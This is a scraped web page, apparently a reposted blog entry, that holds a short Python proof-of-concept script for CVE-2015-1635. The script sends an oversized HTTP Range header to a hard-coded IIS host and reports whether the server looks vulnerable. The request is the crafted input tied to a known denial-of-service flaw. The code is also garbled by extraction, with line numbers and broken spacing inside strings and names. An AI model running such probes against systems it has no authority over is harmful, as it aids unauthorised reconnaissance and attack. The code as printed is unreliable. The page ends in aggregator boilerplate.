Cve-2015-1635 poc, cve-2015-1635

Source: Internet
Author: User
Tags cve

Cve-2015-1635 poc, cve-2015-1635
1 import socket 2 import random 3 ipAddr = "10.1.89.20" 4 hexAllFfff = "18446744073709551615" 5 req1 = "GET/HTTP/1.0 \ r \ n" 6 req =" GET/HTTP/1.1 \ r \ nHost: stuff \ r \ nRange: bytes = 0-"+ hexAllFfff +" \ r \ n "7 print (" [*] Audit Started ") 8 client_socket = socket. socket (socket. AF_INET, socket. SOCK_STREAM) 9 client_socket.connect (ipAddr, 80) 10 client_socket.send (req1.encode () 11 boringResp = cl Ient_socket.recv (1, 1024 ). decode () 12 if "Microsoft" not in boringResp: 13 print ("[*] Not IIS") 14 exit (0) 15 client_socket.close () 16 client_socket = socket. socket (socket. AF_INET, socket. SOCK_STREAM) 17 client_socket.connect (ipAddr, 80) 18 client_socket.send (req. encode () 19 goodResp = client_socket.recv (1024 ). decode () 20 if "Requested Range Not Satisfiable" in goodResp: 21 print ("[!] Looks VULN ") 22 elif" The request has an invalid header name "in goodResp: 23 print (" [*] Looks Patched ") 24 else: 25 print ("[*] Unexpected response, cannot discern patch status ")View Code

This vulnerability has also become popular over the past few days, and the poc is attached.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.